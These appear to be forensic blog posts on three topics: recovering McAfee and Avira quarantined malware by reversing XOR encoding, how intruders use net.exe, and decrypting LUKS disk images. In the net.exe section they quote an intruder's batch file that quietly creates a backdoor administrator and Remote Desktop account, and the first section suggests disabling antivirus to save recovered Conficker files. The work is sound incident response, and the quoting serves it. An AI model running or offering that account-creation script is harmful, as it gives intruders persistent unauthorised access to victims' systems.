Forensic Data Solutions® 

During an incident response engagement, it is common to find the original malware that wreaked havoc in the network was deleted as part of the anti-forensics built into the code or by an over eager first responder. To make matters worse, the deleted malware is often overwritten by the time the IR team gets on site, which can make it difficult to collect and reverse engineer the code to identify Indicators of Compromise (IOCs). However, sometimes we can get lucky and one or more workstations will have an updated anti-virus application that quarantined the malicious files for us.

When McAfee or other anti-virus programs quarantines a malicious file they uses an XOR process with a one-byte key to obfuscate the data. This process can be reversed from within the application but the user never sees what is going on behind the scenes. In order for us to reverse this process manually we must know the one byte XOR key, which is difficult to decipher from the data in the “Details” file.

There are many reasons locating the original malware executable is critical to an investigation, such as reverse engineering the code, hash analysis, text string analysis, etc.. None of which are the subject of this paper. This paper will show you how to extract and de-obfuscate the quarantined files from McAfee AV and Avira anti-virus applications.

We will be using the WinHex hex editing tool from X-Ways forensics to complete this process, however, there are a few other free tools that can be used to achieve the same goal. The purpose here is not to promote a tool but to demonstrate how the process works so you have the knowledge and understanding of what is happening to the data at the disk level and repeat it one whatever AV vendor has quarantined your files.

McAfee

McAfee stores its quarantined files in a “Quarantine” directory located off the root of the C: drive. Inside the quarantine folder the malware files are stored with a “.bup” extension and while this initially looks complicated the files are simply compound files that can be opened with 7zip or any of the forensic tools of your choice.

In the screenshot below is a quarantined file in the “.bup” format provided by a colleague. Note the eight highlighted bytes of, D0 CF 11 E0 A1 B1 1A E1, are the file signature for a compound file.

There are a couple ways to view the contents of these files. Because it is a compound file, you could use 7zip to open the archive. You are limited on the information that you can gain from the file content. For our purposes, we will continue to use WinHex to view the contents and gather additional information.

 After redefining the snapshot and checking the box to uncover embedded data we can see the contents of the compound file. Additionally, you may wish to hash the files contained in the archive as I did in the screenshot below.

Once complete, we can see this compound file contains three files, a small “Details” file and in this case there are two files, “File_0” and “File_1” both showing the same size. As we will see shortly, the “Details” file will contain all the details about the file(s) that were quarantined and the “File_0” will contain the executable. The second “File_1” shows the same size as the other suggesting a second executable. It has a different hash value. While we can speculate as to what it is, we will have to investigate further.

When looking at the “Details” file in hex the data appears to be encrypted or otherwise unreadable.

Now let’s take a look at the data from the “File_0” file and see if anything stands out.

The first thing that is apparent is the hex value of “6A” that repeats in the file. Because we believe this to be an executable file which has a hex file signature of “0x4D 0x5A” or “MZ” ASCII, we can open any other .exe file and compare the data to identify the key.

In the screenshot below is the hex view of a “7z.exe” executable and we can quickly compare the data in the header and see that 0x6A has replaced all the 0x00 which is a clue that 0x6A is the key.

Now we will use WinHex to open the contents of the “File_0” in a separate window and enable editing. After highlighting the entire contents of the file, right click to edit the data and select Modify Block Data and check the XOR box and enter the 0x6A key as shown in the screenshot below.

Once you hit OK, you should see the hex values change back to their original value confirming the 0x6A was the correct key. In the screenshot below you can see we have been successful, however, the blue color values indicate that the changes have not yet been saved.

This is the point where I provide a word of caution that saving this file will place your system at risk and at the very least cause your own anti-virus to alert. Prior to saving the file, you must turn off your AV application briefly so proceed at your own risk.

To save the now deciphered file, simply “Save As” and WinHex will drop it in your case directory. Now you have the intact executable.

For demonstration purposes, I duplicated this process on the other two files, “Details” and “File_1” and placed them in a compressed zip file so I could continue my analysis.

Once deciphered, the “Details” file indicated both these files were from the Conficker worm and both were in separate locations. See below:

DetectionName=W32/Conficker.worm

DetectionType=0

EngineMajor=5200

EngineMinor=2160

DATMajor=8208

DATMinor=0

DATType=2

ProductID=12024

CreationYear=2016

CreationMonth=6

CreationDay=27

CreationHour=8

CreationMinute=24

CreationSecond=43

ComputerName=Redacted

UserName=Redacted

NumberOfFiles=2

NumberOfValues=0

[File_0]

OriginalName=c:\documents and settings\<User>\local settings\temporary internet files\content.ie5\g9az81mv\vcezd[1].gif

[File_1]

OriginalName=c:\windows\system32\imxrkp.dll

As a side note to the different hash values for “File_0” and “File_1”, it was discovered that this “.bup” file had been recovered from unallocated space and the second file “File_1” was partially overwritten by a small system file.

XOR Process

Simply put, XOR is a process that can take two segments of data and generate a third segment of data. The third segment will be completely different than the first two but can be used against either of the first two segments to reverse the process. This is the same method that is used in Raid 5 striping with parody. In Raid 5 the parody segment that is placed on the third drive is the XOR’ed segment that can be used to recover that segment from either drive 1 or drive 2. More on that topic later.

For our example we will use the data we have in the McAfee block. Let us look at the hex value at offset 00 of “File_0” of the “.bup” file and convert it to binary.

Offset 00 > 0x27 = 00100111 Binary

Now let’s convert the previously identified key to binary

XOR Key > 0x6A = 01101010 Binary

To complete the process, we will do the XOR manually for this byte by comparing each corresponding bit from the two bytes. If the bits are equal then the new value will be a 0 bit, if the two bits are not equal then the new value will be 1.

Offset 00  0x27  0 0 1 0 0 1 1 1

XOR Key 0x6A  0 1 1 0 1 0 1 0

Value =    0x4D  0 1 0 0 1 1 0 1

As you can see from the above process, the results match what WinHex did programmatically.

Avira

Avira is another anti-virus program that stores the quarantined files in an “INFECTED” folder at the following location:

C:\ProgramData\Avira\Antivirus\INFECTED\

Avira uses a “.qua” extension for the malware files, however, these files are not a compound file as they were in McAfee.

In our sample file, a description of the file quarantined precedes the executable. In comparing numerous files, the start of the executable is based on the length of the path for the quarantined file. The bytes highlighted in red describe the type of malware Avira determined this sample to be while the green highlighted bytes are the location path in Unicode. The blue highlighted bytes starting at offset 0x12E appear to be the first eight bytes of the executable.

Unlike the McAfee files, we will not be able to simply select the entire file and perform the XOR operation on it. We will have to copy out the bytes that are identified as being the actual executable.

Starting at offset 0x12E we will sweep to the end of the file and copy that data into another file.

Similar to the McAfee we see a common value of 0xAA that appears to replace the 0x00 value of the executable suggesting this is the XOR key.

Following the same process as previously described we will reverse the XOR operation using the 0xAA key.

To ensure you were successful you may wish to hash your final results and submit it to VirusTotal.

Happy hunting.

I have come across the executable “net.exe” several times during engagments and heard it referred to as a tool commonly used by nefarious intruders to do bad things in a network. So I decided that it would make a good forensic topic.

For those of us who do not come from an IT background, learning and understand that intruders can and will often use IT administrative tools that are already in the environment they are compromising is important for us to be able to trace their activities within the network. While the Trojan’s and virus’s give the intruder the initial access to the system they will commonly use legitimate command line tools to navigate and traverse the network as well as hiding their activity for as long as possible.

The Net Command is described by Microsoft as: “The Net.exe Utility component is a command-line tool that controls users, groups, services, and network connections.”

http://msdn.microsoft.com/en-us/library/aa939914%28v=winembedded.5%29.aspx

This command is a very powerful tool that intruders like to use for various tasks such as mapping a network or creating and/or modify user accounts once they get administrative access.

The Net command list is quite long and not the focus of this nugget, however, if you looking to mess around with a few of the commands just to see its power and usefulness, here is a couple websites that list the commands and provide examples.

http://www.computerhope.com/nethlp.htm

http://windowsitpro.com/windows/netexe-reference

First let’s talk about where you should see this file on a clean system. In my clean Windows 7 x64 box and these were the 4 locations for this file. Note this is a 64bit OS so there is a 32bit executable in the SysWOW64 directory with the 64 bit in the System32 directory.

The file MD5 hash values are:

64 bit > 63DD6FBAABF881385899FD39DF13DCE3

32 bit> B9A4DAC2192FD78CDA097BFA79F6E7B2

From an engagement perspective, I wanted to share an example of how I have come across this tool in use.

During an engagement where a server was significantly compromised, after finding the creation of a user account in the log analysis, we located a folder that was in the Windows directory off the root that contained a few tools and batch files that were placed there by the intruder.

Note the presence of the services.exe and the net.exe and what is interesting when comparing the hash values of the net.exe files the suspicious one did not match either of the known good files. A Virus Total of the suspicious file showed it was the net1.exe from the Win7 SP1 but had been renamed and moved to this directory by the intruder.

So what is the difference between the net.exe and the net1.exe? According to Tim Fisher at http://pcsupport.about.com/od/commandlinereference/p/net-command.htm the net.exe command had to undergo a modification due to Y2K and the net1 file is the old version that is still used for backward compatibility, but essentially the files serve the same purpose and function.

As a side note, the service.exe file in this directory was flagged in Virus Total as a Trojan and came back as the file below that had been renamed.

So let’s see how the intruder used the net command in this case. The boot.bat file was simply a batch file that contained the following net commands.

@echo off

@net user hover 58911xc, /add

@net localgroup administrators hover /add

@net user hover /active:yes

@net user hover 58911xc,

@net localgroup "Remote Desktop Users" hover /add

@exit

This was a simple command that first turns off the echo for a little more stealth and then creates the user account “hover”. Then the next line adds the account to the administrators group before activating it in the next line. Then it adds the account to the remote Desktop User groups to allow it to be logged into remotely.

In one simple swoop this intruder used the net command to give him backdoor remote access that allowed for him/her to return that their convenience.

From a network mapping perspective if an intruder can gain access to a command prompt in the environment they can run a simple command that will list out all the systems on the network, giving the intruder a pretty good idea where to look next.

LUKS

Recently during an engagement, I encountered Linux Unified Key Setup (LUKS), a partition encryption method used in various versions of Linux. Some companies require PGP full disk encryption for their Windows workstations and LUKS is the Linux alternative to maintaining the company encryption policies for those that allow Linux workstations.

This Blog is not to tell you how LUKS works but to explain the way to deal with it should you come across it during an engagement. Additionally, I owe thanks to Tom Millar, Lance Mueller for their insight and assistance and Carlos Cajigas who’s blog at http://mashthatkey.blogspot.com/ was a huge help in combining the Linux command lines used in this presentation.

First, let’s look at two images in FTK imager and see how the volumes are laid out. The 320GB drive is the PGP volume and the Toshiba is the LUKS volume.

Because PGP is a full disk encryption system, PGP can quickly be identified in physical sector zero with a header of ëH.PGPGUARD in the first 11 bytes.

The LUKS volume on the other hand is slightly different because it is a partition encryption system. In this example the first volume is the Linux 1GB boot volume and is not encrypted, but the second volume, the main Linux OS volume, is encrypted. The location of the LUKS header, “LUKSº¾..aes”, is located in first 11 bytes of logical sector zero of the second volume.

At the time of this writing, I was using DEFT 8 as a Linux forensics tower and when I connected the write blocked physical drive to the tower via firewire, DEFT 8 identified the two volumes flagging the LUKS volume as encrypted.

What was interesting was, while DEFT 8 identified the volume as encrypted, it could not decrypt it right away even though I had a password. I learned that I needed to install the Cryptsetup for it to work. For some reason the installation package of the DEFT 8 version I was using had either a corrupted Cryptsetup program or did not have one at all. Once I obtained it, I had no issue decrypting the drive by simply mounting the volume in the file manager and entering the password when prompted and then following it with my systems password.

One point of interest though; the DEFT 8 live boot CD did not have any issues accessing the volume. I boot a laptop to the DEFT 8 live boot CD and connected the drive through a write blocker and was able to immediately mount and decrypt the volume for imaging.

While this was a nice easy way to access the encrypted volume it does not give you access to the swap volume that is included inside the encrypted volume. To access the swap volume we need to take a different approach.

For this explanation we will mount a RAW image of the same physical drive rather than using the physical disk through a write blocker. 

Since I do not consider myself a Linux buff and will likely have to refer to this blog in the future, I’m going to walk through the process step by step.

Because we are working with a RAW image we can simply look at the partitions on the image to determine size and location. We can do this in one of 2 ways.

One way is to use the fdisk command.

sudo fdisk –l [image path and name]

Or we can use the mmls command

sudo mmls –aB [image path and name]

-a: Show allocated volumes and -B: print the rounded length in bytes

Note there are two partitions both with Linux systems. The first partition starts at sector 2048 and ends at 2050047. The second partition is the likely LUKS volume and it starts at sector 2050048. This information is needed as we progress through the remaining steps.

Next, we need to caculate the start of the second partition in bytes by multiplying 2050048 by 512, the sector size, and we get 1049624576 bytes.

Now, using the losetup command we will determine the next available loop device so we can mount the encrypted volume and map the logic volumes inside it.

sudo losetup -f  tells us the next available loop device is /dev//loop0

Now we mount the volume with:

sudo losetup –r –o 1049624576 /dev/loop0 [path and name].img

-r is read only –o is offset in bytes

If you get your prompt back with no errors then we will confirm there is a LUKS volume mounted at loop0 with:

sudo cryptsetup luksUUID /dev/loop0

Then we will decrypt the volume with:

sudo cryptsetup luksOpen /dev/loop0 decrypted

After entering the decryption password you should get your command prompt back.

What this has effectively done is decrypted the volume and ported the decrypted data to a mount point in the /dev/mapper location.

So now we can see what is there by taking a closer look at the decrypted file in /dev/mapper and we should see the decrypted logical volume manager with the GUID.

Now we can list out the mapped volumes and see the swap volume which can now be easily accessed to copy out or imaged for further analysis.

From this point you can change directories and create images of the volume with your favorite tool.